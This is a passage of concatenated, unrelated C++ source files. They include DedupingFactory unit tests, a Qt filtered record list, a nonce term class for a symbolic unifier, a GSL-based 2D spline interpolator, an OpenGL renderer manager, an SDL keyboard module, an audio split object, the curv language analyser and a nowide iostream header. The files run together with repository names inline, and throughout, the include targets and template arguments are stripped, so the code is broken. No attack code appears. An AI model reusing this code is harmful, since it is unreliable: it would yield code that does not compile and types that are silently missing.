&CreateFoo); scoped_ptr d1(CreateDictWithParameter(1)); scoped_ptr d2(CreateDictWithParameter(2)); scoped_ptr d3(CreateDictWithParameter(3)); scoped_ptr d4(CreateDictWithParameter(4)); std::string error; bool bad_message = false; // Fill factory with 2 different types. scoped_refptr c1( factory.Instantiate(kTypeName, d1.get(), &error, &bad_message)); scoped_refptr c2( factory.Instantiate(kTypeName, d2.get(), &error, &bad_message)); ASSERT_TRUE(c1.get()); ASSERT_TRUE(c2.get()); EXPECT_EQ(1, static_cast(c1.get())->parameter()); EXPECT_EQ(2, static_cast(c2.get())->parameter()); // This one produces an overflow, now the cache contains [2, 3] scoped_refptr c3( factory.Instantiate(kTypeName, d3.get(), &error, &bad_message)); ASSERT_TRUE(c3.get()); EXPECT_EQ(3, static_cast(c3.get())->parameter()); // Reuse 2, this should give the same instance as c2. scoped_refptr c2_b( factory.Instantiate(kTypeName, d2.get(), &error, &bad_message)); EXPECT_EQ(2, static_cast(c2_b.get())->parameter()); EXPECT_EQ(c2, c2_b); // Also check that the reuse of 2 moved it to the end, so that the cache is // now [3, 2] and 3 is discarded before 2. // This discards 3, so the cache becomes [2, 1] scoped_refptr c1_b( factory.Instantiate(kTypeName, d1.get(), &error, &bad_message)); scoped_refptr c2_c( factory.Instantiate(kTypeName, d2.get(), &error, &bad_message)); EXPECT_EQ(2, static_cast(c2_c.get())->parameter()); EXPECT_EQ(c2, c2_c); } TEST(DedupingFactoryTest, InstantiationNonParameterized) { DedupingFactory factory(2); factory.RegisterFactoryMethod( kTypeName, DedupingFactory::IS_NOT_PARAMETERIZED, &CreateFoo); scoped_ptr d1(CreateDictWithParameter(1)); scoped_ptr d2(CreateDictWithParameter(2)); std::string error; bool bad_message = false; // We create two instances with different dictionaries but because the type is // declared to be not parameterized, we should get the same instance. scoped_refptr c1( factory.Instantiate(kTypeName, d1.get(), &error, &bad_message)); scoped_refptr c2( factory.Instantiate(kTypeName, d2.get(), &error, &bad_message)); ASSERT_TRUE(c1.get()); ASSERT_TRUE(c2.get()); EXPECT_EQ(1, static_cast(c1.get())->parameter()); EXPECT_EQ(1, static_cast(c2.get())->parameter()); EXPECT_EQ(c1, c2); } TEST(DedupingFactoryTest, TypeNames) { DedupingFactory factory(2); factory.RegisterFactoryMethod( kTypeName, DedupingFactory::IS_PARAMETERIZED, &CreateFoo); factory.RegisterFactoryMethod( kTypeName2, DedupingFactory::IS_PARAMETERIZED, &CreateFoo); scoped_ptr d1(CreateDictWithParameter(1)); std::string error; bool bad_message = false; scoped_refptr c1_a( factory.Instantiate(kTypeName, d1.get(), &error, &bad_message)); scoped_refptr c1_b( factory.Instantiate(kTypeName2, d1.get(), &error, &bad_message)); ASSERT_TRUE(c1_a.get()); ASSERT_TRUE(c1_b.get()); EXPECT_NE(c1_a, c1_b); } TEST(DedupingFactoryTest, Clear) { DedupingFactory factory(2); factory.RegisterFactoryMethod( kTypeName, DedupingFactory::IS_PARAMETERIZED, &CreateFoo); scoped_ptr d1(CreateDictWithParameter(1)); std::string error; bool bad_message = false; scoped_refptr c1_a( factory.Instantiate(kTypeName, d1.get(), &error, &bad_message)); factory.ClearPrototypes(); scoped_refptr c1_b( factory.Instantiate(kTypeName, d1.get(), &error, &bad_message)); ASSERT_TRUE(c1_a.get()); ASSERT_TRUE(c1_b.get()); EXPECT_NE(c1_a, c1_b); } } // namespace extensions #include "FilteredList.h" #include FilteredList::FilteredList(AbstractRecordList *parentList, QObject *parent) : AbstractRecordList(parentList, parent) { connect(m_parent, &AbstractRecordList::added, this, &FilteredList::addedInParent); connect(m_parent, &AbstractRecordList::removed, this, &FilteredList::removedInParent); connect(m_parent, &AbstractRecordList::changed, this, &FilteredList::changedInParent); } void FilteredList::setFilter(const Filter &filter) { if (m_filter != filter) { m_filter = filter; refilter(); } } void FilteredList::addedInParent(const QUuid &id) { if (m_filter.matches(m_parent->get(id))) { m_ids.append(id); emit added(id); } } void FilteredList::removedInParent(const QUuid &id) { if (m_ids.contains(id)) { m_ids.removeAll(id); emit removed(id); } } void FilteredList::changedInParent(const QUuid &id, const QString &property) { const bool isInModel = m_ids.contains(id); const bool shouldBeInModel = m_filter.matches(m_parent->get(id)); if (isInModel && !shouldBeInModel) { m_ids.removeAll(id); emit removed(id); } else if (!isInModel && shouldBeInModel) { m_ids.append(id); emit added(id); } else if (isInModel && shouldBeInModel) { emit changed(id, property); } } void FilteredList::refilter() { const QList oldIds = m_ids; m_ids = JD::Util::Functional::filter(m_parent->ids(), [this](const QUuid &id) { return m_filter.matches(m_parent->get(id)); }); for (const QUuid &id : oldIds) { if (!m_ids.contains(id)) { emit removed(id); } } for (const QUuid &id : m_ids) { if (!oldIds.contains(id)) { emit added(id); } } } // // nonce.cpp // symbolic // // Created by on 22/8/13. // Copyright (c) 2013 Lilissun. All rights reserved. // #include "nonce.h" #include "common/debug.h" #include "unifier.h" #include "explicit/namer.h" #include "explicit/indexer.h" #include "explicit/renamer.h" #include "explicit/value.h" namespace sym { bool NoncePattern::match(const Term *term, const Unifier &unifier) const { return term->type() == TermType::TERM_NONCE; } void NoncePattern::info(std::ostream &os) const { os << term_nonce_mark_left << term_any_mark << term_nonce_mark_right; } void Nonce::unify(const Term *term, Unifier &unifier) const { if (term->type() == TermType::TERM_NONCE) { auto nonce = (const Nonce *)term; // This trick is used to prevent the bi-direction loop between two nonces auto this_mapped_term = unifier.evaluate(_name); if (this_mapped_term != nullptr) { this_mapped_term->unify(nonce, unifier); } else if (_name != nonce->_name) { auto term_mapped_term = unifier.map(nonce->name(), this); if (term_mapped_term != nullptr) { term_mapped_term->unify(this, unifier); } } } else if (term->type() == TermType::TERM_VARIABLE) { return term->unify(this, unifier); } else if (term->type() == TermType::TERM_CONSTANT) { NOT_IMPL; } else if (term->type() == TermType::TERM_VALUE) { NOT_IMPL; } else { throw UnifyFailed(); } } void Nonce::unify_to(const Term *term, Unifier &unifier) const { if (term->type() == TermType::TERM_NONCE) { auto mapped_term = unifier.map(_name, term); if (mapped_term != nullptr && mapped_term->equal(term) == false) { throw UnifyFailed(); } } else if (term->type() == TermType::TERM_CONSTANT) { NOT_IMPL; } else if (term->type() == TermType::TERM_VALUE) { NOT_IMPL; } else { throw UnifyFailed(); } } bool Nonce::match(const Pattern *pattern, const Unifier &unifier) const { return pattern == nullptr || pattern->match(this, unifier); } Term * Nonce::clone() const { return new Nonce(_name); } Term * Nonce::map(const Unifier &unifier) const { if (unifier.exist(_name)) { return unifier.evaluate(_name)->map(unifier); } else { return clone(); } } Term * Nonce::rename(emc::Renamer &renamer, emc::Namer &namer) { _name = renamer.rename(_name, namer); return this; } size_t Nonce::depth(const emc::Name &name, const Unifier &unifier) const { auto term = unifier.evaluate(_name); if (term == nullptr) { if (_name == name) { return 1; } else { return 0; } } else { return term->depth(name, unifier); } } size_t Nonce::weight() const { return TermType::TERM_NONCE; } void Nonce::subnames(unsigned long mask, const Unifier &unifier, std::set &names) const { auto term = unifier.evaluate(_name); if (term != nullptr) { term->subnames(mask, unifier, names); } else { subnames(mask, names); } } void Nonce::subnames(unsigned long mask, std::set &names) const { if (mask & TermType::TERM_NONCE) { names.insert(_name); } return ; } void Nonce::signature(const Unifier &unifier, std::ostream &os) const { if (unifier.exist(_name)) { unifier.evaluate(_name)->signature(unifier, os); } else { signature(os); } } void Nonce::signature(std::ostream &os) const { os << _name.id(); } emc::Value Nonce::evaluate(const emc::Valuator &valuator) const { NOT_IMPL; } void Nonce::info(std::ostream &os) const { os << term_nonce_mark_left << _name << term_nonce_mark_right; } Nonce * make_nonce(const std::string &name, emc::Namer &namer, emc::Indexer &indexer) { return new Nonce(indexer.variable(name, namer)); } Nonce * make_nonce(const std::string &name, emc::Namer &namer) { return new Nonce(namer.variable(name)); } Nonce * make_nonce(const std::string &name, emc::Name::ID id, emc::Namer &namer) { return new Nonce(namer.variable(name, id)); } }CNES/pangeo-pyinterp // Copyright (c) 2021 CNES // // All rights reserved. Use of this source code is governed by a // BSD-style license that can be found in the LICENSE file. #pragma once #include #include #include "pyinterp/detail/gsl/interpolate1d.hpp" #include "pyinterp/detail/math/frame.hpp" namespace pyinterp::detail::math { /// Spline gridded 2D interpolation class Spline2D { public: /// Default constructor /// /// @param xr Calculation window. /// @param type method of calculation explicit Spline2D(const Frame2D &xr, const std::string &kind) : column_(xr.y()->size()), x_interpolator_(xr.x()->size(), Spline2D::parse_interp_type(kind), gsl::Accelerator()), y_interpolator_(xr.y()->size(), Spline2D::parse_interp_type(kind), gsl::Accelerator()) {} /// Return the interpolated value of y for a given point x auto interpolate(const double x, const double y, const Frame2D &xr) -> double { return evaluate(&gsl::Interpolate1D::interpolate, x, y, xr); } /// Return the derivative for a given point x auto derivative(const double x, const double y, const Frame2D &xr) -> double { return evaluate(&gsl::Interpolate1D::derivative, x, y, xr); } /// Return the second derivative for a given point x auto second_derivative(const double x, const double y, const Frame2D &xr) -> double { return evaluate(&gsl::Interpolate1D::second_derivative, x, y, xr); } private: using InterpolateFunction = double (gsl::Interpolate1D::*)( const Eigen::VectorXd &, const Eigen::VectorXd &, const double); /// Column of the interpolation window (interpolation according to Y /// coordinates) Eigen::VectorXd column_; /// GSL interpolators gsl::Interpolate1D x_interpolator_; gsl::Interpolate1D y_interpolator_; /// Evaluation of the GSL function performing the calculation. auto evaluate( const std::function &function, const double x, const double y, const Frame2D &xr) -> double { // Spline interpolation as function of X-coordinate for (Eigen::Index ix = 0; ix < xr.y()->size(); ++ix) { column_(ix) = function(x_interpolator_, *(xr.x()), xr.q()->col(ix), x); } return function(y_interpolator_, *(xr.y()), column_, y); } static inline auto parse_interp_type(const std::string &kind) -> const gsl_interp_type * { if (kind == "linear") { return gsl_interp_linear; } if (kind == "polynomial") { return gsl_interp_polynomial; } if (kind == "c_spline") { return gsl_interp_cspline; } if (kind == "c_spline_periodic") { return gsl_interp_cspline_periodic; } if (kind == "akima") { return gsl_interp_akima; } if (kind == "akima_periodic") { return gsl_interp_akima_periodic; } if (kind == "steffen") { return gsl_interp_steffen; } throw std::invalid_argument("Invalid spline type: " + kind); } }; } // namespace pyinterp::detail::math #include "GLRendererManager.h" GLRendererManager::~GLRendererManager() { for (auto c : this->contexts) { c.second->SetContext(); for (auto r : this->renderers[c.second]) { r.second->DeleteBuffer(); } this->shaders[c.second]->DeleteProgram(); c.second->DeleteContext(); } } std::shared_ptr GLRendererManager::GetRenderer(std::thread::id index, long width, long height) { std::shared_ptr context = GetContext(index); std::shared_ptr shader = this->shaders[context]; if (this->renderers.count(context) < 1) { this->renderers[context] = std::map, std::shared_ptr>(); } std::map, std::shared_ptr> thisContextRenderers = this->renderers[context]; std::pair key = std::pair(width, height); if (thisContextRenderers.count(key) < 1) { do { try { context->SetContext(); shader->UseProgram(); std::shared_ptr renderer = std::make_shared(context, shader); renderer->SetContext(); renderer->ResizeBuffer(width, height); thisContextRenderers[key] = renderer; break; } catch (std::runtime_error &e) { std::pair bk = thisContextRenderers.begin()->first; thisContextRenderers[bk]->DeleteBuffer(); thisContextRenderers.erase(bk); } } while (thisContextRenderers.size() > 0); this->renderers[context] = thisContextRenderers; } if (thisContextRenderers.size() > 0) { return thisContextRenderers[key]; } else { throw std::runtime_error("cannot create renderer"); } } std::shared_ptr GLRendererManager::GetContext(std::thread::id index) { if (this->contexts.count(index) < 1) { std::shared_ptr context = std::make_shared(this->rootContext); context->SetContext(); std::shared_ptr shader = std::make_shared(this->fragmentShaderCode); this->contexts[index] = context; this->shaders[context] = shader; } return this->contexts[index]; } testing/NoniusBenchmarks/main.cpp #define NONIUS_RUNNER #include "nonius/main.h++" #include "nonius/nonius.h++" ollelogdahl/roguelike #include "keyboard.h" #include namespace Keyboard { Uint8 keystates[SDL_NUM_SCANCODES]; Uint8 lastKeystates[SDL_NUM_SCANCODES]; bool keyPressed(SDL_Scancode code) { if (keystates[code] == 1) return true; else return false; } bool keyJustPressed(SDL_Scancode code) { // Used to be false, now true if (!lastKeystates[code] && keystates[code]) return true; return false; } void init() { // Sets keystates and lastKeystates to nothing memset(keystates, 0, sizeof(keystates)); memset(lastKeystates, 0, sizeof(keystates)); } void update() { memcpy(lastKeystates, keystates, sizeof(keystates)); memcpy(keystates, SDL_GetKeyboardState(NULL), sizeof(keystates)); } }10-100 /** @file * * @ingroup audioGraphUtilityLib * * @brief split≈: divide multichannel signal into N smaller multichannel signals * * @details * * @authors * * @copyright Copyright © 2008 by @n * This code is licensed under the terms of the "New BSD License" @n * http://creativecommons.org/licenses/BSD/ */ #include "TTAudioGraphSplit.h" #define thisTTClass TTAudioGraphSplit #define thisTTClassName "audio.split" #define thisTTClassTags "audio, graph" TT_AUDIO_CONSTRUCTOR { addAttributeWithGetterAndSetter(Groups, kTypeUInt16); setAttributeValue(TT("maxNumChannels"), arguments); setProcessMethod(processAudio); } // Destructor TTAudioGraphSplit::~TTAudioGraphSplit() { ; } 0 // Copyright 2016-2018 // Licensed under the Apache License, version 2.0 // See accompanying file LICENSE or https://www.apache.org/licenses/LICENSE-2.0 #include #include #include #include #include #include #include #include #include #include namespace curv { Shared analyse_op(const Phrase& ph, Environ& env) { bool old = env.is_analysing_action_; env.is_analysing_action_ = false; auto result = ph.analyse(env)->to_operation(env.eval_frame_); env.is_analysing_action_ = old; return result; } Shared analyse_action(const Phrase& ph, Environ& env) { bool old = env.is_analysing_action_; env.is_analysing_action_ = true; auto result = ph.analyse(env)->to_operation(env.eval_frame_); env.is_analysing_action_ = old; return result; } Shared analyse_tail(const Phrase& ph, Environ& env) { return ph.analyse(env)->to_operation(env.eval_frame_); } // Evaluate the phrase as a constant expression in the builtin environment. Value std_eval(const Phrase& ph, Environ& env) { Builtin_Environ benv( env.system_.std_namespace(), env.system_, env.eval_frame_); auto op = analyse_op(ph, benv); auto frame = Frame::make(benv.frame_maxslots_, env.system_, env.eval_frame_, nullptr, nullptr); return op->eval(*frame); } Shared Meaning::to_operation(Frame* f) { throw Exception(At_Phrase(*source_, f), "not an operation"); } Shared Meaning::call(const Call_Phrase&, Environ& env) { throw Exception(At_Phrase(*source_, env), "not callable"); } Shared Operation::to_operation(Frame*) { return share(*this); } Shared Phrase::as_definition(Environ&) { return nullptr; } Shared Environ::lookup(const Identifier& id) { for (Environ* e = this; e != nullptr; e = e->parent_) { auto m = e->single_lookup(id); if (m != nullptr) return m; } throw Exception(At_Phrase(id, *this), stringify(id.atom_,": not defined")); } Shared Environ::lookup_var(const Identifier& id) { for (Environ* e = this; e != nullptr; e = e->parent_) { if (!e->is_analysing_action_) break; if (e->is_sequential_statement_list_) { auto m = e->single_lookup(id); if (m != nullptr) return m; } } throw Exception(At_Phrase(id, *this), stringify("var ",id.atom_,": not defined")); } Shared Builtin_Environ::single_lookup(const Identifier& id) { auto p = names.find(id.atom_); if (p != names.end()) return p->second->to_meaning(id); return nullptr; } Shared Empty_Phrase::analyse(Environ& env) const { return make(share(*this)); } Shared Identifier::analyse(Environ& env) const { return env.lookup(*this); } Shared Numeral::analyse(Environ& env) const { switch (loc_.token().kind_) { case Token::k_num: { std::string str(location().range()); char* endptr; double n = strtod(str.c_str(), &endptr); assert(endptr == str.c_str() + str.size()); return make(share(*this), n); } case Token::k_hexnum: { double n = 0.0; auto numeral = location().range(); for (const char* p = numeral.first+2; p < numeral.last; ++p) { char d = *p; if (d >= '0' && d <= '9') n = 16.0*n + (d-'0'); else if (d >= 'a' && d <= 'f') n = 16.0*n + (d-'a'+10); else if (d >= 'A' && d <= 'F') n = 16.0*n + (d-'A'+10); else die("Numeral::analyse: bad hex numeral"); } return make(share(*this), n); } default: die("Numeral::analyse: bad token type"); } } Shared String_Segment_Phrase::analyse(Environ& env) const { return make(share(*this), String::make(location().range())); } Shared Char_Escape_Phrase::analyse(Environ& env) const { return make(share(*this), String::make(location().range().first+1, 1)); } Shared Paren_Segment_Phrase::analyse(Environ& env) const { return make(share(*this), analyse_op(*expr_, env)); } Shared Bracket_Segment_Phrase::analyse(Environ& env) const { return make(share(*this), analyse_op(*expr_, env)); } Shared Brace_Segment_Phrase::analyse(Environ& env) const { return make(share(*this), analyse_op(*expr_, env)); } Shared String_Phrase_Base::analyse(Environ& env) const { return analyse_string(env); } Shared String_Phrase_Base::analyse_string(Environ& env) const { std::vector> ops; for (Shared seg : *this) ops.push_back(seg->analyse(env)); return String_Expr::make_elements(ops, this); } Shared Unary_Phrase::analyse(Environ& env) const { switch (op_.kind_) { case Token::k_not: return make( share(*this), analyse_op(*arg_, env)); case Token::k_plus: return make( share(*this), analyse_op(*arg_, env)); case Token::k_minus: return make( share(*this), analyse_op(*arg_, env)); case Token::k_ellipsis: return make( share(*this), analyse_op(*arg_, env)); case Token::k_include: case Token::k_var: throw Exception(At_Token(op_, *this, env), "syntax error"); default: die("Unary_Phrase::analyse: bad operator token type"); } } Shared Unary_Phrase::as_definition(Environ& env) { switch (op_.kind_) { case Token::k_include: return make(share(*this), arg_); default: return nullptr; } } Shared Lambda_Phrase::analyse(Environ& env) const { struct Arg_Scope : public Scope { bool shared_nonlocals_; Shared nonlocal_dictionary_ = make(); std::vector> nonlocal_exprs_; Arg_Scope(Environ& parent, bool shared_nonlocals) : Scope(parent), shared_nonlocals_(shared_nonlocals) { frame_nslots_ = 0; frame_maxslots_ = 0; } virtual Shared single_lookup(const Identifier& id) { auto b = dictionary_.find(id.atom_); if (b != dictionary_.end()) return make(share(id), b->second.slot_index_); if (shared_nonlocals_) return parent_->single_lookup(id); auto n = nonlocal_dictionary_->find(id.atom_); if (n != nonlocal_dictionary_->end()) return make(share(id), n->second); auto m = parent_->lookup(id); if (isa(m)) return m; if (auto expr = cast(m)) { slot_t slot = nonlocal_exprs_.size(); (*nonlocal_dictionary_)[id.atom_] = slot; nonlocal_exprs_.push_back(expr); return make(share(id), slot); } return m; } } scope(env, shared_nonlocals_); auto src = share(*this); auto pattern = make_pattern(*left_, scope, 0); pattern->analyse(scope); auto expr = analyse_op(*right_, scope); auto nonlocals = make(src, std::move(scope.nonlocal_dictionary_), std::move(scope.nonlocal_exprs_)); return make( src, pattern, expr, nonlocals, scope.frame_maxslots_); } Shared analyse_assoc(Environ& env, const Phrase& src, const Phrase& left, Shared right) { if (auto call = dynamic_cast(&left)) return analyse_assoc(env, src, *call->function_, make(call->arg_, Token(), right)); Shared right_expr; if (isa(right)) right_expr = make(right, Value{true}); else right_expr = analyse_op(*right, env); if (auto id = dynamic_cast(&left)) return make(share(src), Atom_Expr{share(*id)}, right_expr); if (auto string = dynamic_cast(&left)) { auto string_expr = string->analyse_string(env); return make(share(src), Atom_Expr{string_expr}, right_expr); } throw Exception(At_Phrase(left, env), "invalid definiendum"); } /// In the grammar, a phrase is zero or more constituent phrases /// separated by commas or semicolons. /// This function iterates over each constituent phrase. void each_item(Phrase& phrase, std::function func) { if (dynamic_cast(&phrase)) return; if (auto commas = dynamic_cast(&phrase)) { for (auto& i : commas->args_) func(*i.expr_); return; } if (auto semis = dynamic_cast(&phrase)) { for (auto& i : semis->args_) func(*i.expr_); return; } func(phrase); } Shared analyse_block( Environ& env, Shared source, Definition::Kind kind, Shared bindings, Shared bodysrc) { Shared adef = bindings->as_definition(env); if (adef == nullptr) { // no definitions, just actions. return make( source, analyse_op(*bindings, env), analyse_tail(*bodysrc, env)); } if (adef->kind_ == Definition::k_sequential && kind == Definition::k_sequential) { Sequential_Scope sscope(env, false); sscope.analyse(*adef); sscope.is_analysing_action_ = env.is_analysing_action_; auto body = analyse_tail(*bodysrc, sscope); env.frame_maxslots_ = sscope.frame_maxslots_; return make(source, std::move(sscope.executable_), std::move(body)); } if (adef->kind_ == Definition::k_recursive && kind == Definition::k_recursive) { Recursive_Scope rscope(env, false, adef->source_); rscope.analyse(*adef); rscope.is_analysing_action_ = env.is_analysing_action_; auto body = analyse_tail(*bodysrc, rscope); env.frame_maxslots_ = rscope.frame_maxslots_; return make(source, std::move(rscope.executable_), std::move(body)); } struct Bad_Scope : public Block_Scope { Bad_Scope(Environ& env) : Block_Scope(env, false) {} virtual Shared single_lookup(const Identifier&) override { return nullptr; } virtual void analyse(Definition&) override {} virtual void add_action(Shared) override {} virtual unsigned begin_unit(Shared unit) override { throw Exception(At_Phrase(*unit->source_, *parent_), "wrong style of definition for this block"); } virtual slot_t add_binding(Atom, const Phrase&, unsigned) override { return 0; } virtual void end_unit(unsigned, Shared) override {} } bscope(env); adef->add_to_scope(bscope); // throws an exception die("analyse_block: add_to_scope failed to throw an exception"); } Shared analyse_where_block( Environ& env, Shared source, Shared bindings, Shared bodysrc) { auto let = cast(bodysrc); if (let && let->let_.kind_ == Token::k_let) { // let bindings1 in body where bindings2 Shared adef1 = let->bindings_->as_definition(env); Shared adef2 = bindings->as_definition(env); if (adef1 && adef1->kind_ == Definition::k_recursive && adef2 && adef2->kind_ == Definition::k_recursive) { Recursive_Scope rscope(env, false, source); adef1->add_to_scope(rscope); adef2->add_to_scope(rscope); rscope.analyse(); rscope.is_analysing_action_ = env.is_analysing_action_; auto body = analyse_tail(*let->body_, rscope); env.frame_maxslots_ = rscope.frame_maxslots_; return make(source, std::move(rscope.executable_), std::move(body)); } } return analyse_block(env, source, Definition::k_recursive, bindings, bodysrc); } Shared Let_Phrase::analyse(Environ& env) const { Definition::Kind kind = let_.kind_ == Token::k_let ? Definition::k_recursive : Definition::k_sequential; return analyse_block(env, share(*this), kind, bindings_, body_); } Shared Binary_Phrase::analyse(Environ& env) const { switch (op_.kind_) { case Token::k_or: return make( share(*this), analyse_op(*left_, env), analyse_op(*right_, env)); case Token::k_and: return make( share(*this), analyse_op(*left_, env), analyse_op(*right_, env)); case Token::k_equal: return make( share(*this), analyse_op(*left_, env), analyse_op(*right_, env)); case Token::k_not_equal: return make( share(*this), analyse_op(*left_, env), analyse_op(*right_, env)); case Token::k_less: return make( share(*this), analyse_op(*left_, env), analyse_op(*right_, env)); case Token::k_greater: return make( share(*this), analyse_op(*left_, env), analyse_op(*right_, env)); case Token::k_less_or_equal: return make( share(*this), analyse_op(*left_, env), analyse_op(*right_, env)); case Token::k_greater_or_equal: return make( share(*this), analyse_op(*left_, env), analyse_op(*right_, env)); case Token::k_plus: return make( share(*this), analyse_op(*left_, env), analyse_op(*right_, env)); case Token::k_minus: return make( share(*this), analyse_op(*left_, env), analyse_op(*right_, env)); case Token::k_times: return make( share(*this), analyse_op(*left_, env), analyse_op(*right_, env)); case Token::k_over: return make( share(*this), analyse_op(*left_, env), analyse_op(*right_, env)); case Token::k_power: return make( share(*this), analyse_op(*left_, env), analyse_op(*right_, env)); case Token::k_dot: if (auto id = cast(right_)) { return make( share(*this), analyse_op(*left_, env), Atom_Expr{id}); } if (auto string = cast(right_)) { auto str_expr = string->analyse_string(env); return make( share(*this), analyse_op(*left_, env), Atom_Expr{str_expr}); } throw Exception(At_Phrase(*right_, env), "invalid expression after '.'"); case Token::k_in: throw Exception(At_Token(op_, *this, env), "syntax error"); case Token::k_apostrophe: return make( share(*this), analyse_op(*left_, env), analyse_op(*right_, env)); case Token::k_colon: return analyse_assoc(env, *this, *left_, right_); case Token::k_where: return analyse_where_block(env, share(*this), right_, left_); default: die("Binary_Phrase::analyse: bad operator token type"); } } Shared Recursive_Definition_Phrase::analyse(Environ& env) const { throw Exception(At_Phrase(*this, env), "not an operation"); } Shared Sequential_Definition_Phrase::analyse(Environ& env) const { throw Exception(At_Phrase(*this, env), "not an operation"); } Shared Assignment_Phrase::analyse(Environ& env) const { auto id = cast(left_); if (id == nullptr) throw Exception(At_Phrase(*left_, env), "not a variable name"); auto m = env.lookup_var(*id); auto expr = analyse_op(*right_, env); auto let = cast(m); if (let) return make(share(*this), let->slot_, expr, true); auto indir = cast(m); if (indir) return make(share(*this), indir->slot_, indir->index_, expr); // this should never happen throw Exception(At_Phrase(*left_, env), "not a sequential variable name"); } Shared as_definition_iter( Environ& env, Shared source, Phrase& left, Shared right, Definition::Kind kind) { if (auto id = dynamic_cast(&left)) { auto lambda = cast(right); if (lambda && kind == Definition::k_recursive) return make(std::move(source), share(*id), std::move(lambda)); else return make(std::move(source), kind, share(*id), std::move(right)); } if (auto call = dynamic_cast(&left)) return as_definition_iter(env, std::move(source), *call->function_, make(call->arg_, Token(), right), kind); return make(std::move(source), kind, share(left), std::move(right)); } Shared Recursive_Definition_Phrase::as_definition(Environ& env) { return as_definition_iter(env, share(*this), *left_, right_, Definition::k_recursive); } Shared Sequential_Definition_Phrase::as_definition(Environ& env) { return as_definition_iter(env, share(*this), *left_, right_, Definition::k_sequential); } Shared Semicolon_Phrase::analyse(Environ& env) const { Shared compound = Compound_Op::make(args_.size(), share(*this)); for (size_t i = 0; i < args_.size(); ++i) compound->at(i) = analyse_action(*args_[i].expr_, env); return compound; } Shared Semicolon_Phrase::as_definition(Environ& env) { Shared compound = Compound_Definition::make(args_.size(), share(*this)); bool have_kind = false; for (size_t i = 0; i < args_.size(); ++i) { auto phrase = args_[i].expr_; compound->at(i).phrase_ = phrase; auto def = args_[i].expr_->as_definition(env); if (def) { if (!have_kind) { compound->kind_ = def->kind_; have_kind = true; } else if (compound->kind_ != def->kind_) { throw Exception(At_Phrase(*phrase, env), "conflicting definition types in the same compound definition"); } } compound->at(i).definition_ = def; } if (have_kind) return compound; else return nullptr; } Shared Comma_Phrase::analyse(Environ& env) const { throw Exception(At_Token(args_[0].separator_, *this, env), "syntax error"); } Shared Paren_Phrase::analyse(Environ& env) const { if (cast(body_)) return List_Expr::make(0, share(*this)); if (auto commas = dynamic_cast(&*body_)) { auto& items = commas->args_; Shared list = List_Expr::make(items.size(), share(*this)); for (size_t i = 0; i < items.size(); ++i) (*list)[i] = analyse_op(*items[i].expr_, env); return list; } else { // One of the few places we directly call Phrase::analyse(). // The result can be an operation or a metafunction. return body_->analyse(env); } } Shared Paren_Phrase::as_definition(Environ& env) { return body_->as_definition(env); } Shared Bracket_Phrase::analyse(Environ& env) const { if (cast(body_)) return List_Expr::make(0, share(*this)); if (auto commas = dynamic_cast(&*body_)) { auto& items = commas->args_; Shared list = List_Expr::make(items.size(), share(*this)); for (size_t i = 0; i < items.size(); ++i) (*list)[i] = analyse_op(*items[i].expr_, env); return list; } else { Shared list = List_Expr::make(1, share(*this)); (*list)[0] = analyse_op(*body_, env); return list; } } Shared Call_Phrase::analyse(Environ& env) const { return function_->analyse(env)->call(*this, env); } Shared Operation::call(const Call_Phrase& src, Environ& env) { return make( share(src), share(*this), analyse_op(*src.arg_, env)); } std::vector> Call_Phrase::analyse_args(Environ& env) const { std::vector> argv; each_argument(*arg_, [&](const Phrase& p)->void { argv.push_back(analyse_op(p, env)); }); return argv; } Shared Program_Phrase::analyse(Environ& env) const { return body_->analyse(env); } Shared Program_Phrase::as_definition(Environ& env) { return body_->as_definition(env); } Shared Brace_Phrase::analyse(Environ& env) const { Shared adef = body_->as_definition(env); if (adef == nullptr) { auto record = make(share(*this)); each_item(*body_, [&](Phrase& item)->void { record->fields_.push_back(analyse_op(item, env)); }); return record; } return analyse_module(*adef, env); } Shared If_Phrase::analyse(Environ& env) const { if (else_expr_ == nullptr) { return make( share(*this), analyse_op(*condition_, env), analyse_tail(*then_expr_, env)); } else { return make( share(*this), analyse_op(*condition_, env), analyse_tail(*then_expr_, env), analyse_tail(*else_expr_, env)); } } Shared For_Phrase::analyse(Environ& env) const { Scope scope(env); scope.is_analysing_action_ = env.is_analysing_action_; auto pat = make_pattern(*pattern_, scope, 0); pat->analyse(scope); auto list = analyse_op(*listexpr_, env); auto body = analyse_tail(*body_, scope); env.frame_maxslots_ = scope.frame_maxslots_; return make(share(*this), pat, list, body); } Shared While_Phrase::analyse(Environ& env) const { auto cond = analyse_op(*args_, env); auto body = analyse_tail(*body_, env); return make(share(*this), cond, body); } Shared Range_Phrase::analyse(Environ& env) const { return make( share(*this), analyse_op(*first_, env), analyse_op(*last_, env), step_ ? analyse_op(*step_, env) : nullptr, op1_.kind_ == Token::k_open_range); } } // namespace curv rwiesenfarth/nowidenowide/iostream.hpp0 // // Copyright (c) 2012 (Tonkikh) // // Distributed under the Boost Software License, Version 1.0. (See // accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // #ifndef NOWIDE_IOSTREAM_HPP_INCLUDED #define NOWIDE_IOSTREAM_HPP_INCLUDED #include #ifdef NOWIDE_WINDOWS #include #include #include //#include // must be the last #include #else #include #endif #ifdef NOWIDE_MSVC #pragma warning(push) #pragma warning(disable : 4251) #endif namespace nowide { #if !defined(NOWIDE_WINDOWS) && !defined(NOWIDE_DOXYGEN) using std::cout; using std::cerr; using std::cin; using std::clog; #else /// \cond INTERNAL namespace detail { class console_output_buffer; class console_input_buffer; class NOWIDE_DECL winconsole_ostream : public std::ostream { winconsole_ostream(const winconsole_ostream&); void operator=(const winconsole_ostream&); public: winconsole_ostream(int fd, winconsole_ostream* tieStream); ~winconsole_ostream(); private: nowide::scoped_ptr d; }; class NOWIDE_DECL winconsole_istream : public std::istream { winconsole_istream(const winconsole_istream&); void operator=(const winconsole_istream&); public: explicit winconsole_istream(winconsole_ostream* tieStream); ~winconsole_istream(); private: nowide::scoped_ptr d; }; } // namespace detail /// \endcond /// /// \brief Same as std::cin, but uses UTF-8 /// /// Note, the stream is not synchronized with stdio and not affected by std::ios::sync_with_stdio /// extern NOWIDE_DECL detail::winconsole_istream cin; /// /// \brief Same as std::cout, but uses UTF-8 /// /// Note, the stream is not synchronized with stdio and not affected by std::ios::sync_with_stdio /// extern NOWIDE_DECL detail::winconsole_ostream cout; /// /// \brief Same as std::cerr, but uses UTF-8 /// /// Note, the stream is not synchronized with stdio and not affected by std::ios::sync_with_stdio /// extern NOWIDE_DECL detail::winconsole_ostream cerr; /// /// \brief Same as std::clog, but uses UTF-8 /// /// Note, the stream is not synchronized with stdio 